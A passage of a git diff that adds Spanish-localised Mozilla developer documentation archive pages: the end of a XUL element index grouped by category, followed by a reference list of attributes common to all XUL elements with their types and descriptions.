+     <a href="/en-US/docs/XUL/statusbar" title="XUL/statusbar">statusbar</a><br>
+     <a href="/en-US/docs/XUL/statusbarpanel" title="XUL/statusbarpanel">statusbarpanel</a><br>
+     <a href="/en-US/docs/XUL/dialogheader" title="XUL/dialogheader">dialogheader</a><br>
+     <a href="/en-US/docs/XUL/notification" title="XUL/notification">notification</a><br>
+     <a href="/en-US/docs/XUL/notificationbox" title="XUL/notificationbox">notificationbox</a></p>
+    <p><u><strong>MENUS Y VENTANAS<br>
+     EMERGENTES</strong></u></p>
+    <p><a href="/en-US/docs/XUL/menubar" title="XUL/menubar">menubar</a><br>
+     <a href="/en-US/docs/XUL/menu" title="XUL/menu">menu</a><br>
+     <a href="/en-US/docs/XUL/menuitem" title="XUL/menuitem">menuitem</a><br>
+     <a href="/en-US/docs/XUL/menuseparator" title="XUL/menuseparator">menuseparator</a><br>
+     <a href="/en-US/docs/XUL/menupopup" title="XUL/menupopup">menupopup</a><br>
+     <a href="/en-US/docs/XUL/panel" title="XUL/panel">panel</a><br>
+     <a href="/en-US/docs/XUL/tooltip" title="XUL/tooltip">tooltip</a><br>
+     <a href="/en-US/docs/XUL/popupset" title="XUL/popupset">popupset</a></p>
+    <p><u><strong>BARRAS DE<br>
+     HERRAMIENTAS</strong></u></p>
+    <p><a href="/en-US/docs/XUL/toolbar" title="XUL/toolbar">toolbar</a><br>
+     <a href="/en-US/docs/XUL/toolbarbutton" title="XUL/toolbarbutton">toolbarbutton</a><br>
+     <a href="/en-US/docs/XUL/toolbargrippy" title="XUL/toolbargrippy">toolbargrippy</a><br>
+     <a href="/en-US/docs/XUL/toolbaritem" title="XUL/toolbaritem">toolbaritem</a><br>
+     <a href="/en-US/docs/XUL/toolbarpalette" title="XUL/toolbarpalette">toolbarpalette</a><br>
+     <a href="/en-US/docs/XUL/toolbarseparator" title="XUL/toolbarseparator">toolbarseparator</a><br>
+     <a href="/en-US/docs/XUL/toolbarset" title="XUL/toolbarset">toolbarset</a><br>
+     <a href="/en-US/docs/XUL/toolbarspacer" title="XUL/toolbarspacer">toolbarspacer</a><br>
+     <a href="/en-US/docs/XUL/toolbarspring" title="XUL/toolbarspring">toolbarspring</a><br>
+     <a href="/en-US/docs/XUL/toolbox" title="XUL/toolbox">toolbox</a></p>
+    <p><u><strong>PESTAÑAS Y<br>
+     AGRUPAMIENTO</strong></u></p>
+    <p><a href="/en-US/docs/XUL/tabbox" title="XUL/tabbox">tabbox</a><br>
+     <a href="/en-US/docs/XUL/tabs" title="XUL/tabs">tabs</a><br>
+     <a href="/en-US/docs/XUL/tab" title="XUL/tab">tab</a><br>
+     <a href="/en-US/docs/XUL/tabpanels" title="XUL/tabpanels">tabpanels</a><br>
+     <a href="/en-US/docs/XUL/tabpanel" title="XUL/tabpanel">tabpanel</a><br>
+     <a href="/en-US/docs/XUL/groupbox" title="XUL/groupbox">groupbox</a><br>
+     <a href="/en-US/docs/XUL/caption" title="XUL/caption">caption</a><br>
+     <a href="/en-US/docs/XUL/separator" title="XUL/separator">separator</a><br>
+     <a href="/en-US/docs/XUL/spacer" title="XUL/spacer">spacer</a></p>
+   </td>
+   <td>
+    <p><u><strong>CONTROLES</strong></u></p>
+    <p><a href="/en-US/docs/XUL/button" title="XUL/button">button</a><br>
+     <a href="/en-US/docs/XUL/checkbox" title="XUL/checkbox">checkbox</a><br>
+     <a href="/en-US/docs/XUL/colorpicker" title="XUL/colorpicker">colorpicker</a><br>
+     <a href="/en-US/docs/XUL/datepicker" title="XUL/datepicker">datepicker</a><br>
+     <a href="/en-US/docs/XUL/menulist" title="XUL/menulist">menulist</a><br>
+     <a href="/en-US/docs/XUL/progressmeter" title="XUL/progressmeter">progressmeter</a><br>
+     <a href="/en-US/docs/XUL/radio" title="XUL/radio">radio</a><br>
+     <a href="/en-US/docs/XUL/radiogroup" title="XUL/radiogroup">radiogroup</a><br>
+     <a href="/en-US/docs/XUL/scale" title="XUL/scale">scale</a><br>
+     <a href="/en-US/docs/XUL/splitter" title="XUL/splitter">splitter</a><br>
+     <a href="/en-US/docs/XUL/textbox" title="XUL/textbox">textbox</a><br>
+     <a href="/en-US/docs/XUL/Textbox_(Toolkit_autocomplete)" title="XUL/textbox_(Firefox_autocomplete)">textbox (Firefox autocomplete)</a><br>
+     <a href="/en-US/docs/XUL/Textbox_(XPFE_autocomplete)" title="XUL/textbox_(Mozilla_autocomplete)">textbox (Mozilla autocomplete)</a><br>
+     <a href="/en-US/docs/XUL/timepicker" title="XUL/timepicker">timepicker</a></p>
+    <p><u><strong>TEXTO E<br>
+     IMAGENES</strong></u></p>
+    <p><a href="/en-US/docs/XUL/description" title="XUL/description">description</a><br>
+     <a href="/en-US/docs/XUL/label" title="XUL/label">label</a><br>
+     <a href="/en-US/docs/XUL/image" title="XUL/image">image</a></p>
+    <p><u><strong>LISTAS</strong></u></p>
+    <p><a href="/en-US/docs/XUL/listbox" title="XUL/listbox">listbox</a><br>
+     <a href="/en-US/docs/XUL/listitem" title="XUL/listitem">listitem</a><br>
+     <a href="/en-US/docs/XUL/listcell" title="XUL/listcell">listcell</a><br>
+     <a href="/en-US/docs/XUL/listcol" title="XUL/listcol">listcol</a><br>
+     <a href="/en-US/docs/XUL/listcols" title="XUL/listcols">listcols</a><br>
+     <a href="/en-US/docs/XUL/listhead" title="XUL/listhead">listhead</a><br>
+     <a href="/en-US/docs/XUL/listheader" title="XUL/listheader">listheader</a><br>
+     <a href="/en-US/docs/XUL/richlistbox" title="XUL/richlistbox">richlistbox</a><br>
+     <a href="/en-US/docs/XUL/richlistitem" title="XUL/richlistitem">richlistitem</a></p>
+    <p><u><strong>ARBOLES</strong></u></p>
+    <p><a href="/en-US/docs/XUL/tree" title="XUL/tree">tree</a><br>
+     <a href="/en-US/docs/XUL/treecell" title="XUL/treecell">treecell</a><br>
+     <a href="/en-US/docs/XUL/treechildren" title="XUL/treechildren">treechildren</a><br>
+     <a href="/en-US/docs/XUL/treecol" title="XUL/treecol">treecol</a><br>
+     <a href="/en-US/docs/XUL/treecols" title="XUL/treecols">treecols</a><br>
+     <a href="/en-US/docs/XUL/treeitem" title="XUL/treeitem">treeitem</a><br>
+     <a href="/en-US/docs/XUL/treerow" title="XUL/treerow">treerow</a><br>
+     <a href="/en-US/docs/XUL/treeseparator" title="XUL/treeseparator">treeseparator</a></p>
+   </td>
+   <td>
+    <p><u><strong>DISPOSICION</strong></u></p>
+    <p><a href="/en-US/docs/XUL/box" title="XUL/box">box</a><br>
+     <a href="/en-US/docs/XUL/hbox" title="XUL/hbox">hbox</a><br>
+     <a href="/en-US/docs/XUL/vbox" title="XUL/vbox">vbox</a><br>
+     <a href="/en-US/docs/XUL/bbox" title="XUL/bbox">bbox</a><br>
+     <a href="/en-US/docs/XUL/deck" title="XUL/deck">deck</a><br>
+     <a href="/en-US/docs/XUL/stack" title="XUL/stack">stack</a><br>
+     <a href="/en-US/docs/XUL/grid" title="XUL/grid">grid</a><br>
+     <a href="/en-US/docs/XUL/columns" title="XUL/columns">columns</a><br>
+     <a href="/en-US/docs/XUL/column" title="XUL/column">column</a><br>
+     <a href="/en-US/docs/XUL/rows" title="XUL/rows">rows</a><br>
+     <a href="/en-US/docs/XUL/row" title="XUL/row">row</a><br>
+     <a href="/en-US/docs/XUL/scrollbox" title="XUL/scrollbox">scrollbox</a></p>
+    <p><u><strong>PLANTILLAS</strong></u></p>
+    <p><a href="/en-US/docs/XUL/action" title="XUL/action">action</a><br>
+     <a href="/en-US/docs/XUL/assign" title="XUL/assign">assign</a><br>
+     <a href="/en-US/docs/XUL/binding" title="XUL/binding">binding</a><br>
+     <a href="/en-US/docs/XUL/bindings" title="XUL/bindings">bindings</a><br>
+     <a href="/en-US/docs/XUL/conditions" title="XUL/conditions">conditions</a><br>
+     <a href="/en-US/docs/XUL/content" title="XUL/content">content</a><br>
+     <a href="/en-US/docs/XUL/member" title="XUL/member">member</a><br>
+     <a href="/en-US/docs/XUL/param" title="XUL/param">param</a><br>
+     <a href="/en-US/docs/XUL/query" title="XUL/query">query</a><br>
+     <a href="/en-US/docs/XUL/queryset" title="XUL/queryset">queryset</a><br>
+     <a href="/en-US/docs/XUL/rule" title="XUL/rule">rule</a><br>
+     <a href="/en-US/docs/XUL/template" title="XUL/template">template</a><br>
+     <a href="/en-US/docs/XUL/textnode" title="XUL/textnode">textnode</a><br>
+     <a href="/en-US/docs/XUL/triple" title="XUL/triple">triple</a><br>
+     <a href="/en-US/docs/XUL/where" title="XUL/where">where</a></p>
+    <p><u><strong>SCRIPTING</strong></u></p>
+    <p><a href="/en-US/docs/XUL/script" title="XUL/script">script</a><br>
+     <a href="/en-US/docs/XUL/commandset" title="XUL/commandset">commandset</a><br>
+     <a href="/en-US/docs/XUL/command" title="XUL/command">command</a><br>
+     <a href="/en-US/docs/XUL/broadcaster" title="XUL/broadcaster">broadcaster</a><br>
+     <a href="/en-US/docs/XUL/broadcasterset" title="XUL/broadcasterset">broadcasterset</a><br>
+     <a href="/en-US/docs/XUL/observes" title="XUL/observes">observes</a><br>
+     <a href="/en-US/docs/XUL/key" title="XUL/key">key</a><br>
+     <a href="/en-US/docs/XUL/keyset" title="XUL/keyset">keyset</a><br>
+     <a href="/en-US/docs/XUL/stringbundle" title="XUL/stringbundle">stringbundle</a><br>
+     <a href="/en-US/docs/XUL/stringbundleset" title="XUL/stringbundleset">stringbundleset</a></p>
+    <p><u><strong>ELEMENTOS<br>
+     DE AYUDA</strong></u></p>
+    <p><a href="/en-US/docs/XUL/scrollbar" title="XUL/scrollbar">arrowscrollbox</a><br>
+     <a href="/en-US/docs/XUL/dropmarker" title="XUL/dropmarker">dropmarker</a><br>
+     <a href="/en-US/docs/XUL/grippy" title="XUL/grippy">grippy</a><br>
+     <a href="/en-US/docs/XUL/scrollbar" title="XUL/scrollbar">scrollbar</a><br>
+     <a href="/en-US/docs/XUL/scrollcorner" title="XUL/scrollcorner">scrollcorner</a><br>
+     <a href="/en-US/docs/XUL/spinbuttons" title="XUL/spinbuttons">spinbuttons</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Other_XUL_lists" name="Other_XUL_lists">Otras listas de XUL</h3>
+<ul>
+ <li><a href="/en-US/docs/XUL/Attribute" title="XUL/Attribute">Todos los atributos</a></li>
+ <li><a href="/en-US/docs/XUL/Property" title="XUL/Property">Todas las propiedades</a></li>
+ <li><a href="/en-US/docs/XUL/Method" title="XUL/Method">Todos los métodos</a></li>
+ <li><a href="/en-US/docs/XUL_element_attributes" title="XUL_element_attributes">Atributos definidos para todos los elementos de XUL</a></li>
+ <li><a href="/en-US/docs/XUL/Style" title="XUL/Style">Clases de estilo</a></li>
+ <li><a href="/en-US/docs/XUL/Events" title="XUL/Events">Manipuladores de eventos</a></li>
+ <li><a href="/en-US/docs/XUL/Deprecated//Defunct_Markup" title="XUL/Deprecated//Defunct_Markup">Obsoletos/Marcado extinto</a></li>
+</ul>
diff --git a/files/es/archive/mozilla/xul/xul_reference/xul_element_attributes/index.html b/files/es/archive/mozilla/xul/xul_reference/xul_element_attributes/index.html
new file mode 100644
index 0000000000..38b3c37f9a
--- /dev/null
+++ b/files/es/archive/mozilla/xul/xul_reference/xul_element_attributes/index.html
@@ -0,0 +1,551 @@
+---
+title: Atributos de los elementos XUL
+slug: Archive/Mozilla/XUL/XUL_Reference/XUL_element_attributes
+translation_of: Archive/Mozilla/XUL/XUL_Reference/XUL_element_attributes
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/es/docs/XUL/Elementos">Referencia de XUL</a></span> Los siguientes atributos son comunes a todos los elementos XUL:</div>
+
+<div id="a-align">
+
+<dl>
+  <dt>
+    <code id="a-align"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code></dt>
+  <dd>
+    Type: <em>one of the values below</em></dd>
+  <dd>
+    The align attribute specifies how child elements of the box are aligned, when the size of the box is larger than the total size of the children.
+    <ul>
+      <li>For boxes that have horizontal orientation, it specifies how its children will be aligned vertically.</li>
+      <li>For boxes that have vertical orientation, it specifies how its children will be aligned horizontally.</li>
+    </ul>
+  </dd>
+  <dd>
+    <dl>
+      <dt>
+        <code>start</code></dt>
+      <dd>
+        Child elements are aligned starting from the left or top edge of the box. If the box is larger than the total size of the children, the extra space is placed on the right or bottom side.</dd>
+      <dt>
+        <code>center</code></dt>
+      <dd>
+        Extra space is split equally along each side of the child elements, resulting in the children being placed in the center of the box.</dd>
+      <dt>
+        <code>end</code></dt>
+      <dd>
+        Child elements are placed on the right or bottom edge of the box. If the box is larger than the total size of the children, the extra space is placed on the left or top side.</dd>
+      <dt>
+        <code>baseline</code></dt>
+      <dd>
+        This value applies to horizontally oriented boxes only. It causes the child elements to be aligned so that their text labels are lined up.</dd>
+      <dt>
+        <code>stretch</code></dt>
+      <dd>
+        <em>This is the default value.</em> The child elements are stretched to fit the size of the box. For a horizontal box, the children are stretched to be the height of the box. For a vertical box, the children are stretched to be the width of the box. If the size of the box changes, the children stretch to fit. Use the flex attribute to create elements that stretch in the opposite direction.</dd>
+      <dt>
+        <code>left</code> <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></dt>
+      <dd>
+        The elements are aligned on their left edges.</dd>
+      <dt>
+        <code>center</code> <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></dt>
+      <dd>
+        The elements are centered horizontally.</dd>
+      <dt>
+        <code>right</code> <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></dt>
+      <dd>
+        The elements are aligned on their right edges.</dd>
+    </dl>
+  </dd>
+  <dd>
+    The <a href="/en-US/docs/XUL/Attribute/pack" title="XUL/Attribute/pack">pack</a> attribute is related to the alignment but is used to specify the position in the opposite direction. You can also specify the value of align using the style property <a href="/en-US/docs/Web/CSS/-moz-box-align" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-box-align</code></a>.</dd>
+</dl>
+</div> <div id="a-allowevents">
+
+<dl>
+  <dt><code id="a-allowevents"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/allowevents">allowevents</a></code></dt>
+  <dd>Type: <em>boolean</em></dd>
+  <dd>If true, events are passed to children of the element. Otherwise, events are passed to the element only.</dd>
+</dl>
+
+
+
+
+</div> <div id="a-allownegativeassertions">
+
+
+<dl>
+ <dt><code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/allownegativeassertions">allownegativeassertions</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>Valid on any element that has a <code id="a-datasources"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/datasources">datasources</a></code> attribute. When multiple datasources are used, one may override an assertion from another. This attribute, if <code>true</code>, which is the default, allows a datasource to negate an earlier assertion.</dd>
+</dl>
+</div> <div id="a-class">
+
+
+<dl>
+ <dt><code id="a-class"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/class">class</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The style class of the element. Multiple classes may be specified by separating them with spaces.</dd>
+</dl>
+</div> <div id="a-coalesceduplicatearcs">
+
+
+<dl>
+ <dt><code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/coalesceduplicatearcs">coalesceduplicatearcs</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>Valid on any element that has a <code id="a-datasources"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/datasources">datasources</a></code> attribute. When multiple datasources are used, one may override an assertion from another. This attribute, if <code>true</code>, which is the default, allows a datasource to negate an earlier assertion.</dd>
+</dl>
+</div> <div id="a-collapsed">
+
+
+<dl>
+ <dt><code id="a-collapsed"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/collapsed">collapsed</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>If <code>true</code>, then the element is collapsed and does not appear. It is equivalent to setting the CSS <a href="/en-US/docs/CSS/visibility" title="/en-US/docs/CSS/visibility">visibility</a> property to <code>collapse</code>.</dd>
+</dl>
+
+
+</div> <div id="a-container">
+
+
+<dl>
+ <dt><code id="a-container"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/container">container</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>Set to true if the element is to act as a container which can have child elements. This would be used for folders. This will be set by the template builder as needed.</dd>
+</dl>
+</div> <div id="a-containment">
+
+
+<dl>
+ <dt><code id="a-containment"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/containment">containment</a></code></dt>
+ <dd>Type: <em>URI</em></dd>
+ <dd>This attribute specifies RDF properties (an RDF predicate) that indicate that a resource is a container. When generating content from a template this is used to determine which resources from the datasource are containers and thus can have child nodes and which ones are not containers.</dd>
+ <dd>This attribute should be placed on the same element that the <code id="a-datasources"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/datasources">datasources</a></code> and the <code id="a-ref"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/ref">ref</a></code> attribute is on. It may be set to a space-separated list of RDF properties or resources.</dd>
+</dl>
+</div> <div id="a-context">
+
+
+<dl>
+ <dt><code id="a-context"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/context">context</a></code></dt>
+ <dd>Type: <em>id</em></dd>
+ <dd>Should be set to the value of the id of the popup element that should appear when the user context-clicks on the element. A context-click varies on each platform. Usually it will be a right click. You can use the special value '_child' to indicate the first <code><a href="/en-US/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> child of the element.</dd>
+</dl>
+</div> <div id="a-contextmenu">
+
+
+<dl>
+ <dt><code id="a-contextmenu"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/contextmenu">contextmenu</a></code></dt>
+ <dd>Type: <em>id</em></dd>
+ <dd>Alternate name for the <code id="a-context"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/context">context</a></code> attribute, but also has a corresponding script property <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/contextMenu">contextMenu</a></span></code>.</dd>
+</dl>
+</div> <div id="a-datasources">
+
+
+<dl>
+ <dt><code id="a-datasources"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/datasources">datasources</a></code></dt>
+ <dd>Type: <em>space separated list of datasource URIs</em></dd>
+ <dd>A space-separated list of datasources that an element's template will use for content generation. These can be either internal datasources such as rdf:bookmarks or a URL. The datasources attribute may be placed on most elements, although it will usually be found on trees and menu related elements. The element should have a <code><a href="/en-US/docs/Mozilla/Tech/XUL/template" title="template">template</a></code> element as a child.</dd>
+ <dd>For RDF templates, the specified datasources are combined into a single composite datasource which holds the data from all of the datasources. This composite datasource is accesssible via a script through the database property.</dd>
+ <dd>For XML datasources, only one source is used, either the URL of an XML file or an anchor reference to another element within the same document. For instance, the reference '#data' refers to an element with the id 'data'.</dd>
+ <dd>If you plan on adding a datasource to an element but don't want one to be added right away, set this attribute to 'rdf:null'. This will make the element so that its contents can be generated from a datasource. Otherwise, you cannot add one later.</dd>
+ <dd>When the XUL document is contained on a remote web site, the datasources may only be loaded from the same domain as the document.</dd>
+</dl>
+</div> <div id="a-dir">
+
+
+<dl>
+ <dt><code id="a-dir"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/dir">dir</a></code></dt>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>The direction in which the child elements of the element are placed.
+ <dl>
+  <dt><code>normal</code></dt>
+  <dd>For scales, the scale's values are ordered from left to right (for horizontal scales) or from top to bottom (for vertical scales)  For other elements, the elements are placed left to right or top to bottom in the order they appear in the XUL code.</dd>
+  <dt><code>reverse</code></dt>
+  <dd>For scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales). For other elements, they are placed right to left or bottom to top. This is reverse of the order in which they appear in the XUL code.</dd>
+ </dl>
+ </dd>
+</dl>
+
+
+</div> <div id="a-empty">
+
+
+<dl>
+ <dt><code id="a-empty"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/empty">empty</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>Set to true if the element is a container that contains no children. This will be set by the template builder as needed.</dd>
+</dl>
+</div> <div id="a-equalsize">
+
+
+<dl>
+ <dt><code id="a-equalsize"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/equalsize">equalsize</a></code></dt>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>This attribute can be used to make the children of the element equal in size.
+ <dl>
+  <dt><code>always</code></dt>
+  <dd>For a horizontally oriented element, this will make all of its children have the width of the widest child. For a vertically oriented element, this will make its children all have the height of the tallest child.</dd>
+  <dt><code>never</code></dt>
+  <dd>All of the children are displayed at the size required by the content or as specified by the <code id="a-width"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/width">width</a></code> and <code id="a-height"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/height">height</a></code> attributes or the CSS <a href="/en-US/docs/Web/CSS/width" title="The width CSS property sets an element's width. By default it sets the width of the content area, but if box-sizing is set to border-box, it sets the width of the border area."><code>width</code></a> and <a href="/en-US/docs/Web/CSS/height" title="The height CSS property specifies the height of an element. By default, the property defines the height of the content area. If box-sizing is set to border-box, however, it instead determines the height of the border area."><code>height</code></a> properties.</dd>
+ </dl>
+ </dd>
+</dl>
+</div> <div id="a-flags">
+
+
+<dl>
+ <dt><code id="a-flags"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/flags">flags</a></code></dt>
+ <dd>Type: <em>space-separated list of the values below</em></dd>
+ <dd>A set of flags used for miscellaneous purposes. Two flags are defined, which may be the value of this attribute.
+ <ul>
+  <li><code>dont-test-empty</code>: For template generated content, the builder will not check that a container is empty.</li>
+  <li><code>dont-build-content</code>: This flag may be used on a tree to indicate that content elements should not be generated. This results in a performance enhancement, but you will not be able to use the DOM functions to retrieve the tree rows.</li>
+ </ul>
+ </dd>
+</dl>
+</div> <div id="a-flex">
+
+
+<dl>
+ <dt><code id="a-flex"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code></dt>
+ <dd>Type: <em>string</em> (representing an integer)</dd>
+ <dd>Indicates the flexibility of the element, which indicates how an element's container distributes remaining empty space among its children. Flexible elements grow and shrink to fit their given space. Elements with larger flex values will be made larger than elements with lower flex values, at the ratio determined by the two elements. The actual value is not relevant unless there are other flexible elements within the same container. Once the default sizes of elements in a box are calculated, the remaining space in the box is divided among the flexible elements, according to their flex ratios. Specifying a flex value of 0 has the same effect as leaving the flex attribute out entirely.</dd>
+</dl>
+</div> <div id="a-height">
+
+
+<dl>
+ <dt><code id="a-height"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/height">height</a></code></dt>
+ <dd>Type: <em>string</em> (representing an integer)</dd>
+ <dd>The preferred height of the element in pixels. The actual displayed height may be different if the element or its contents have a minimum or maximum height. The CSS height property may also be used.</dd>
+</dl>
+</div> <div id="a-hidden">
+
+
+<dl>
+ <dt><code id="a-hidden"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/hidden">hidden</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>If set to true, the element is not displayed. This is similar to setting the CSS display property to 'none'.</dd>
+</dl>
+
+
+</div> <div id="a-id">
+
+
+<dl>
+ <dt><code id="a-id"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></dt>
+ <dd>Type: <em>unique id</em></dd>
+ <dd>A unique identifier so that you can identify the element with. You can use this as a parameter to <code><a href="/en-US/docs/DOM/document.getElementById" title="/en-US/docs/DOM/document.getElementById">getElementById()</a></code> and other DOM functions and to reference the element in style sheets.</dd>
+</dl>
+
+
+</div> <div id="a-insertafter">
+
+
+<dl>
+ <dt><code id="a-insertafter"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/insertafter">insertafter</a></code></dt>
+ <dd>Type: <em>id</em></dd>
+ <dd>When an element is in an <code><a href="/en-US/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>, the insertafter attribute specifies the <code id="a-id"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code> of the element in the base window that the element should appear after. This attribute overrides the <code id="a-insertbefore"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/insertbefore">insertbefore</a></code> attribute. This value may be a comma-separated list of ids, which are scanned and the first one found in the window is used.</dd>
+</dl>
+</div> <div id="a-insertbefore">
+
+
+<dl>
+ <dt><code id="a-insertbefore"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/insertbefore">insertbefore</a></code></dt>
+ <dd>Type: <em>id</em></dd>
+ <dd>When an element is in an <code><a href="/en-US/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>, the insertbefore attribute specifies the <code id="a-id"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code> of the element in the base window that the element should appear before. This value may be a comma-separated list of ids, which are scanned and the first one found in the window is used.</dd>
+</dl>
+</div> <div id="a-left">
+
+
+<dl>
+ <dt><code id="a-left"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/left">left</a></code></dt>
+ <dd>Type: <em>string</em> (representing an integer)</dd>
+ <dd>For elements placed directly within a <code><a href="/en-US/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code>, specifies the pixel position of the left edge of the element relative to the left edge of the stack.</dd>
+</dl>
+</div> <div id="a-maxheight">
+
+
+<dl>
+ <dt><code id="a-maxheight"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/maxheight">maxheight</a></code></dt>
+ <dd>Type: <em>string</em> (representing an integer)</dd>
+ <dd>The maximum height of the element. This corresponds to the max-height CSS property.</dd>
+</dl>
+</div> <div id="a-maxwidth">
+
+
+<dl>
+ <dt><code id="a-maxwidth"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/maxwidth">maxwidth</a></code></dt>
+ <dd>Type: <em>string</em> (representing an integer)</dd>
+ <dd>The maximum width of the element. This corresponds to the max-width CSS property.</dd>
+</dl>
+</div> <div id="a-menu">
+
+
+<dl>
+ <dt><code id="a-menu"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/menu">menu</a></code></dt>
+ <dd>Type: <em>id</em></dd>
+ <dd>Alternate name for the <code><code id="a-popup"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/popup">popup</a></code></code> attribute, but also has a corresponding script property 'menu'.</dd>
+</dl>
+</div> <div id="a-minheight">
+
+
+<dl>
+ <dt><code id="a-minheight"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/minheight">minheight</a></code></dt>
+ <dd>Type: <em>string</em> (representing an integer)</dd>
+ <dd>The minimum height of the element. This corresponds to the min-height CSS property.</dd>
+</dl>
+</div> <div id="a-minwidth">
+
+
+<dl>
+ <dt><code id="a-minwidth"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/minwidth">minwidth</a></code></dt>
+ <dd>Type: <em>string</em> (representing an integer)</dd>
+ <dd>The minimum width of the element. This corresponds to the min-width CSS property.</dd>
+</dl>
+</div> <div id="a-mousethrough">
+
+
+<dl>
+ <dt><code id="a-mousethrough"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/mousethrough">mousethrough</a></code></dt>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>Determines whether mouse events are passed to the element or not. If this attribute is not specified, the value is inherited from the parent of the element. If no ancestor has the mousethrough attribute set, the default value is <code>never</code>.
+ <dl>
+  <dt><code>always</code></dt>
+  <dd>Mouse events are transparent to the element. This means that the element will not receive any mouse events due to either clicking or movement. Child elements may override this if they specify mousethrough="never".</dd>
+  <dt><code>never</code></dt>
+  <dd>Mouse events are passed to the element as normal.</dd>
+ </dl>
+ </dd>
+</dl>
+
+
+</div> <div id="a-observes">
+
+
+<dl>
+ <dt><code id="a-observes"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/observes">observes</a></code></dt>
+ <dd>Type: <em>id</em></dd>
+ <dd>Set to an id of a <code><a href="/en-US/docs/Mozilla/Tech/XUL/broadcaster" title="broadcaster">broadcaster</a></code> element that is being observed by the element. If an attribute changes in the broadcaster it is also changed in the observer.</dd>
+</dl>
+</div> <div id="a-ordinal">
+
+
+<dl>
+ <dt><code id="a-ordinal"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/ordinal">ordinal</a></code></dt>
+ <dd>Type: <em>string</em> (representing an integer)</dd>
+ <dd>An integer which specifies the position of the element within its parent. By default, elements appear in the order they appear in the XUL code. The ordinal attribute can be used to change the order. Note the default ordinal for elements is 1. You can retrieve the displayed order by using the properties of the <code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/boxObject">boxObject</a></span></code> of the container.</dd>
+</dl>
+</div> <div id="a-orient">
+
+
+<dl>
